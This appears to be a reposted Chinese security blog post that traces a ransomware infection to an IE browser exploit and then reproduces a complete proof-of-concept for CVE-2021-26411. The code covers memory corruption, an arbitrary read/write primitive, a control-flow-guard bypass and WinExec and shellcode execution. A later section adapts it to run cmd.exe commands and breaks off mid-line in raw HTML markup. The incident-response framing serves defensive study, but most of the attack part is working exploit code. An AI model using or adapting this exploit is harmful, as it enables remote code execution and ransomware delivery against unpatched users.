|
原文链接:由一次勒索病毒应急响应浅谈hw中IE钓鱼的可能性
一、简介上周到某公司进行勒索病毒的溯源,说来也是倒霉,这家公司一年中了三次勒索病毒了,属实惨兮兮。经过排查发现这个遇到的勒索病毒跟之前遇到的不太一样,并不是通过常规暴力破解SMB,RDP服务进行扩散的,而是通过IE浏览器的漏洞,远程加载恶意程序,文件不落地的形式进行的投毒,所以才有了此文。
二、勒索病毒应急溯源2.1 常规分析从勒索病毒应急响应的经验初步判断可能是此台PC违规开放的端口(445,3389)遭受到了外网爆破,但是通过日志查看工具evtxLogparse发现此台中病毒的PC并没有遭受暴力破解,常规高危端口也没有开放
 
2.2 转换思路因为中毒PC为windows7系统,且使用较老版本的IE浏览器,怀疑是受害者点击了恶意链接后跳转至投毒域名,利用IE漏洞CVE-2021-26411进行RCE病毒投放。利用工具browsinghistoryview以xls格式导出浏览器记录
 
发现两条可疑访问记录,域名0v2726xb2736ad7z.gosgrew.quest的命名方式无规则,很像是随机命名的
 
通过在线情报查询,可以发现此域名注册时间很短。经过排查,初步判断此台PC中勒索病毒的过程是这样的:攻击者很可能采用了水坑攻击的方式,受害者在不知情的情况下访问了http://eudoxia-myr.com/favicon.ico(或者http://eudoxia-myr.com下的某一链接)此网站是已经被黑客入侵过的网站,访问此网站某些链接会直接跳转到恶意投毒域名(http://0v2726xb2736ad7z.gosgrew.quest/)利用IE漏洞CVE-2021-26411进行RCE投毒。
三、两种IE浏览器漏洞利用方式3.1 CVE-2021-26411(Internet Explorer内存损坏漏洞)3.1.1 漏洞简介CVE-2021-26411可以作为一种新型传播勒索病毒的方式,漏洞原理就是远程代码执行,可以调用windows API或者shellcode
3.1.2 影响范围- Internet Explorer 11(IE8亲测是不行的)
- Microsoft Edge (EdgeHTML-based)
- Windows 7 SP1
- Windows 8.1
- Windows RT 8.1
- Windows 10 Version 1607, 1803,1809, 1909, 2004,20H2
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Server 2012, 2012 R2, 2016, 2019
- Windows Server version 1909, 2004,20H2
复制代码
3.1.3 利用条件用户认证:不需要用户认证触发方式:远程3.1.4 漏洞复现直接借鉴了网上的POC
- //https://www.52pojie.cn/thread-1434380-1-1.html
- <!-- IE Double Free 1Day Poc -->
- <!doctype html>
- <html lang="zh-cmn-Hans">
- <head>
- <meta http-equiv="Cache-Control" content="no-cache">
- </head>
- <body>
- <script language="javascript">
- // 重复字符串
- String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
- function pad0(str) {
- // 提取倒数第四个字符开始的字符串,效果就是补0
- return ('0000' + str).slice(-4)
- }
- // Access of Resource Using Incompatible Type ('Type Confusion')
- function alloc1() {
- // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
- var view = new DataView(abf)
- var str = ''
- for (var i = 4; i < abf.byteLength - 2; i += 2)
- str += '%u' + pad0(view.getUint16(i, true).toString(16))
- // 创建并返回一个新的属性节点
- var result = document.createAttribute('alloc')
- // 对escape()编码的字符串进行解码
- result.nodeValue = unescape(str)
- return result
- }
- function alloc2() {
- // 创建字典对象
- var dic1 = new ActiveXObject('Scripting.Dictionary')
- var dic2 = new ActiveXObject('Scripting.Dictionary')
- // 增加新项,dic.add(key,value)
- dic2.add(0, 1)
- dic1.add(0, dic2.items())
- dic1.add(1, fake)
- dic1.add(2, arr)
- for (i = 3; i < 0x20010 / 0x10; ++i)
- dic1.add(i, 0x12341234)
- return dic1.items()
- }
- function dump(nv) {
- // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
- // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
- var ab = new ArrayBuffer(0x20010)
- var view = new DataView(ab)
- for (var i = 0; i < nv.length; ++i)
- view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
- return ab
- }
- // 在原型对象上定义属性
- function Data(type, value) {
- this.type = type
- this.value = value
- }
- function setData(i, data) {
- var arr = new Uint32Array(abf)
- arr[i * 4] = data.type
- arr[i * 4 + 2] = data.value
- }
- function flush() {
- hd1.nodeValue = (new alloc1()).nodeValue
- hd2.nodeValue = 0
- // 返回调用该方法的节点的一个副本.
- hd2 = hd1.cloneNode()
- }
- // 小端序读取
- function read(addr, size) {
- switch (size) {
- case 8:
- return god.getUint8(addr)
- case 16:
- // getUint16(byteOffset [, littleEndian])
- return god.getUint16(addr, true)
- case 32:
- return god.getUint32(addr, true)
- }
- }
- function write(addr, value, size) {
- switch (size) {
- case 8:
- return god.setUint8(addr, value)
- case 16:
- return god.setUint16(addr, value, true)
- case 32:
- return god.setUint32(addr, value, true)
- }
- }
- function writeData(addr, data) {
- for (var i = 0; i < data.length; ++i)
- write(addr + i, data[i], 8)
- }
- function addrOf(obj) {
- arr[0] = obj
- return read(pArr, 32)
- }
- function strcmp(str1, str2) {
- // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
- str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
- str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
- return str1.toLowerCase() == str2.toLowerCase()
- }
- function memcpy(dst, src, size) {
- for (var i = 0; i < size; ++i)
- write(dst + i, read(src + i, 8), 8)
- }
- function toStr(addr) {
- var str = ''
- while (true) {
- var c = read(addr, 8)
- // 遇到终结符就退出循环
- if (c == 0) break
- // 返回由指定的 UTF-16 代码单元序列创建的字符串
- str += String.fromCharCode(c)
- addr++
- }
- return str
- }
- function newStr(str) {
- var buffer = createArrayBuffer(str.length + 1)
- for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
- // 写入字符串终结符
- write(buffer + i, 0, 8)
- return buffer
- }
- // PE文件相关操作函数
- function getDllBase(base, name) {
- var tmpValue = 0
- var index = 0
- var iat = base + read(base + read(base + 60, 32) + 128, 32)
- while (true) {
- var offset = read(iat + index * 20 + 12, 32)
- if (strcmp(base + offset, name)) break
- index++
- }
- var addr = read(iat + index * 20 + 16, 32)
- return getBase(read(base + addr, 32))
- }
- function getBase(addr) {
- var addr = addr & 0xffff0000
- while (true) {
- if (isMZ(addr) && isPE(addr)) break
- addr -= 0x10000
- }
- return addr
- }
- function isMZ(addr) {
- return read(addr, 16) == 0x5a4d
- }
- function isPE(addr) {
- var sizeOfHeaders = read(addr + 60, 32)
- if (sizeOfHeaders > 0x600) return null
- var addr = addr + sizeOfHeaders
- if (read(addr, 32) != 0x4550) return null
- return addr
- }
- function winVer() {
- // 返回浏览器的平台和版本信息
- var appVersion = window.navigator.appVersion
- var ver = 0
- // 检测一个字符串是否匹配某个模式,javaScript正则表达式
- if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
- ver = 100
- } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
- ver = 81
- } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
- ver = 80
- } else {
- ver = 70
- }
- return ver
- }
- function createArrayBuffer(size) {
- var ab = new ArrayBuffer(size)
- var bs = read(addrOf(ab) + 0x1c, 32)
- // 设置键值对
- map.set(bs, ab)
- return bs
- }
- function getProcAddr(addr, name) {
- var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
- var non = read(eat + 0x18, 32)
- var aof = addr + read(eat + 0x1c, 32)
- var aon = addr + read(eat + 0x20, 32)
- var aono = addr + read(eat + 0x24, 32)
- for (var i = 0; i < non; ++i) {
- var offset = read(aon + i * 4, 32)
- if (strcmp(addr + offset, name)) break
- }
- var offset = read(aono + i * 2, 16)
- return addr + read(aof + offset * 4, 32)
- }
- function readyRpcCall(func) {
- var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
- var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
- var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
- write(RPC_DISPATCH_TABLE_Buffer, func, 32)
- }
- function setArgs(args) {
- var buffer = createArrayBuffer(48)
- for (var i = 0; i < args.length; ++i) {
- write(buffer + i * 4, args[i], 32)
- }
- _RPC_MESSAGE.set(msg, 'Buffer', buffer)
- _RPC_MESSAGE.set(msg, 'BufferLength', 48)
- _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
- return buffer
- }
- function callRpcFreeBufferImpl() {
- var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
- _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
- return call(rpcFree)
- }
- function callRpcFreeBuffer() {
- var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
- var result = read(buffer, 32)
- callRpcFreeBufferImpl()
- return result
- }
- function call2(func, args) {
- readyRpcCall(func)
- var buffer = setArgs(args)
- call(msg)
- map.delete(buffer)
- return callRpcFreeBuffer()
- }
- function call(addr) {
- var result = 0
- write(paoi + 0x18, addr, 32)
- // 错误处理
- try {
- // rpcrt4!NdrServerCall2
- xyz.normalize()
- } catch (error) {
- result = error.number
- }
- write(paoi + 0x18, patt, 32)
- return result
- }
- function prepareCall(addr, func) {
- var buf = createArrayBuffer(cattr.size())
- var vft = read(patt, 32)
- memcpy(addr, patt, cbase.size())
- memcpy(buf, vft, cattr.size())
- cbase.set(addr, 'pvftable', buf)
- cattr.set(buf, 'normalize', func)
- }
- function createBase() {
- var isWin7 = winVer() == 70
- var size = isWin7 ? 560 : 572
- var offset = isWin7 ? 540 : 548
- var addr1 = createArrayBuffer(size + cbase.size())
- var addr2 = createArrayBuffer(48)
- write(addr1 + offset, addr2, 32)
- write(addr2 + 40, 8, 32)
- write(addr2 + 36, 8, 32)
- return {
- size: size,
- addr: addr1
- }
- }
- function aos() {
- var baseObj = createBase()
- var addr = baseObj.addr + baseObj.size
- var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
- prepareCall(addr, I_RpcTransServerNewConnection)
- return read(read(call(addr)-0xf8, 32), 32)
- }
- // 自定义结构体的操作
- function SymTab(size, sym) {
- this.size = function() {
- return size
- }
- this.set = function(addr, name, value) {
- var o = sym[name]
- write(addr + o.offset, value, o.size)
- }
- this.get = function(addr, name) {
- var o = sym[name]
- return read(addr + o.offset, o.size)
- }
- }
- // 构造RPC
- function initRpc() {
- var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
- var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
- var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
- var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
- var RPCMessageObject = createArrayBuffer(cbase.size())
- var buffer = createArrayBuffer(0x100)
- var buffer2 = createArrayBuffer(0x200)
- var AttributeVtable = read(patt, 32)
- var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
- var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
- var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
- var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
- var rpcProcStringBuffer = createArrayBuffer(data.length)
- writeData(rpcProcStringBuffer, data)
- var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
- var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
- var NdrServerCall2Buffer = createArrayBuffer(4)
- write(NdrServerCall2Buffer, NdrServerCall2, 32)
- write(MSHTMLSymbolBuffer, osf_vft, 32)
- write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
- write(MSHTMLSymbolBuffer + 8, 0x40, 32)
- cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
- cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
- cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
- cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
- cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
- cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
- write(RPCMessageObject + 76, 1, 32)
- syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
- _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
- _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
- _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
- _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
- _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
- RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
- RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
- PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
- _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
- _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
- _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
- _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
- _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
- _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
- _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
- return RPCMessageObject
- }
- function rpcFree() {
- var Cbase = createArrayBuffer(cbase.size())
- var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
- var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
- var AttributeVtable = read(patt, 32)
- write(MSHTMLSymbolBuffer, osf_vft, 32)
- write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
- write(MSHTMLSymbolBuffer + 8, 64, 32)
- cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
- cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
- cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
- cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
- cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
- cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
- cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
- write(Cbase + 76, 1, 32)
- return Cbase
- }
- function CFGObject(baseAddress) {
- var PEAddr = isPE(baseAddress)
- var eat = PEAddr + 120
- var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
- var size = read(LOAD_CONFIG_DIRECTORY, 32)
- var sizeOfImage = read(PEAddr + 0x50, 32)
- var CFGSymbolTable = new SymTab(0x5c, {
- '___guard_check_icall_fptr': {
- offset: 72,
- size: 32
- }
- })
- var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
- this.getCFGAddress = function() {
- return guard_check_icall_fptr_address
- }
- this.getCFGValue = function() {
- if (size < CFGSymbolTable.size()) return false
- var currentCFGValue = read(guard_check_icall_fptr_address, 32)
- var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
- return !isValidAddress;
- }
- }
- function killCfg(addr) {
- var cfgobj = new CFGObject(addr)
- if (!cfgobj.getCFGValue()) return
- var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
- var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
- var tmpBuffer = createArrayBuffer(4)
- // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
- call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
- // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
- // 关闭rpcrt4的CFG检查
- write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
- // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
- call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
- map.delete(tmpBuffer)
- }
- // {} 表示对象
- // 属性:属性值
- var cbase = new SymTab(0x60, {
- 'pvftable': {
- offset: 0x0,
- size: 32
- },
- 'pSecurityContext': {
- offset: 0x44,
- size: 32
- }
- })
- var cattr = new SymTab(0x32c, {
- '__vtguard': {
- offset: 0x48,
- size: 32
- },
- 'SecurityContext': {
- offset: 0xc8,
- size: 32
- },
- 'JSBind_TypeId': {
- offset: 0x160,
- size: 32
- },
- 'JSBind_InstanceOf': {
- offset: 0x164,
- size: 32
- },
- 'normalize': {
- offset: 0x28c,
- size: 32
- }
- })
- var syntaxObject = new SymTab(0x14, {
- 'SyntaxVersion.MajorVersion': {
- offset: 0x10,
- size: 16
- }
- })
- var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
- 'Length': {
- offset: 0,
- size: 32
- },
- 'InterfaceId.SyntaxVersion.MajorVersion': {
- offset: 20,
- size: 16
- },
- 'TransferSyntax.SyntaxVersion.MajorVersion': {
- offset: 40,
- size: 16
- },
- // 保存了runtime库和Stub函数的接口指针
- 'DispatchTable': {
- offset: 44,
- size: 32
- },
- // 指向MIDL_SERVER_INFO结构
- 'InterpreterInfo': {
- offset: 60,
- size: 32
- },
- 'Flags': {
- offset: 64,
- size: 32
- }
- })
- // 保存了服务端IDL接口信息
- var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
- 'pStubDesc': {
- offset: 0,
- size: 32
- },
- // 保存了服务端提供的远程调用例程的函数指针数组
- 'DispatchTable': {
- offset: 4,
- size: 32
- },
- 'ProcString': {
- offset: 8,
- size: 32
- },
- 'FmtStringOffset': {
- offset: 12,
- size: 32
- }
- })
- var _MIDL_STUB_DESC = new SymTab(0x50, {
- 'RpcInterfaceInformation': {
- offset: 0,
- size: 32
- },
- 'pfnAllocate': {
- offset: 4,
- size: 32
- },
- 'pfnFree': {
- offset: 8,
- size: 32
- },
- 'pFormatTypes': {
- offset: 32,
- size: 32
- },
- 'fCheckBounds': {
- offset: 36,
- size: 32
- },
- 'Version': {
- offset: 40,
- size: 32
- },
- 'MIDLVersion': {
- offset: 48,
- size: 32
- },
- 'mFlags': {
- offset: 64,
- size: 32
- }
- })
- var RPC_DISPATCH_TABLE = new SymTab(12, {
- 'DispatchTableCount': {
- offset: 0,
- size: 32
- },
- 'DispatchTable': {
- offset: 4,
- size: 32
- },
- })
- var _RPC_MESSAGE = new SymTab(0x2c, {
- 'Handle': {
- offset: 0,
- size: 32
- },
- 'DataRepresentation': {
- offset: 4,
- size: 32
- },
- // 存放函数的参数
- 'Buffer': {
- offset: 8,
- size: 32
- },
- 'BufferLength': {
- offset: 12,
- size: 32
- },
- 'TransferSyntax': {
- offset: 20,
- size: 32
- },
- // 指向RPC_SERVER_INTERFACE
- 'RpcInterfaceInformation': {
- offset: 24,
- size: 32
- },
- 'RpcFlags': {
- offset: 40,
- size: 32
- }
- })
- var god
- // 对象数组
- var arr = [{}]
- var fake = new ArrayBuffer(0x100)
- var abf = new ArrayBuffer(0x20010)
- var alloc = alloc2()
- // 创建一个HTML 属性对象
- var hd0 = document.createAttribute('handle')
- var hd1 = document.createAttribute('handle')
- var hd2
- // 创建一个HTML 元素对象
- var ele = document.createElement('element')
- var att = document.createAttribute('attribute')
- att.nodeValue = {
- valueOf: function() {
- hd1.nodeValue = (new alloc1()).nodeValue
- // 回调时,清除ele对象绑定的所有属性
- ele.clearAttributes()
- hd2 = hd1.cloneNode()
- ele.setAttribute('attribute', 1337)
- }
- }
- ele.setAttributeNode(att)
- ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
- // 触发valueof函数回调
- ele.removeAttributeNode(att)
- hd0.nodeValue = alloc
- var leak = new Uint32Array(dump(hd2.nodeValue))
- var pAbf = leak[6]
- var pArr = leak[10]
- var VT_I4 = 0x3
- var VT_DISPATCH = 0x9
- var VT_BYREF = 0x4000
- var bufArr = new Array(0x10)
- var fakeArr = new Uint32Array(fake)
- for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
- flush()
- var ref = new VBArray(hd0.nodeValue)
- for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
- ref = null
- setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
- setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
- setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
- flush()
- ref = new VBArray(hd0.nodeValue)
- var vt = ref.getItem(1)
- var gc = ref.getItem(2)
- var bs = ref.getItem(3)
- ref = null
- for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
- fakeArr[4] = bs + 0x40
- fakeArr[16] = vt
- fakeArr[17] = gc
- fakeArr[24] = 0xffffffff
- setData(1, new Data(VT_DISPATCH, bs))
- flush()
- ref = new VBArray(hd0.nodeValue)
- god = new DataView(ref.getItem(1))
- ref = null
- pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
- write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
- var map = new Map()
- var jscript9 = getBase(read(addrOf(map), 32))
- var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
- var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
- var ntdll = getDllBase(msvcrt, 'ntdll.dll')
- var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
- var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
- var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
- var xyz = document.createAttribute('xyz')
- var paoi = addrOf(xyz)
- var patt = read(addrOf(xyz) + 0x18, 32)
- var osf_vft = aos()
- var msg = initRpc()
- var rpcFree = rpcFree()
- killCfg(rpcrt4)
- // 调用API,弹出计算器
- var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
- var WinExec = getProcAddr(kernel32,'WinExec')
- call2(WinExec,[newStr('calc.exe'),5])
- // 调用shellcode
- var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
- var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
- var tmpBuffer = createArrayBuffer(4)
- call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
- writeData(msi, shellcode) // mov eax, 0x1337 ; ret
- call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
- var result = call2(msi, [])
- // 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
- alert(result.toString(16))
- </script>
- </body>
- </html>
复制代码
本地测试环境如下:
 
测试效果如下:
 
3.1.5 POC改造上面的POC是通过两种方式进行的函数调用:API和shellcode,我暂时只调用了windows API
原有POC在686-589行调用了API
- // 调用API,弹出计算器
- var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
- var WinExec = getProcAddr(kernel32,'WinExec')
- call2(WinExec,[newStr('calc.exe'),5])
复制代码
这里是通过WinExec这个API函数进行的命令执行,既然如此我们也可以利用WinExec去执行cmd命令。关于WinExec如何使用可以参考:https://docs.microsoft.com/zh-cn ... /nf-winbase-winexec
把calc.exe替换为whoami命令
- <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(143, 89, 2);font-style: italic;">// 调用API,利用cmd执行net user命令</span>
- <span style="box-sizing: border-box;color: rgb(0, 0, 0);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">call2</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">LoadLibraryExA</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,[</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">newStr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">dll</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">0</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">1</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">)])</span>
- <span style="box-sizing: border-box;color: rgb(0, 0, 0);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">getProcAddr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">kernel32</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">)</span>
- <span style="box-sizing: border-box;color: rgb(0, 0, 0);">call2</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">WinExec</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">,[</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">newStr</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">(</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">cmd</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">exe</span> <span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">/</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">k</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">whoami</span><span style="box-sizing: border-box;">'</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">),</span><span 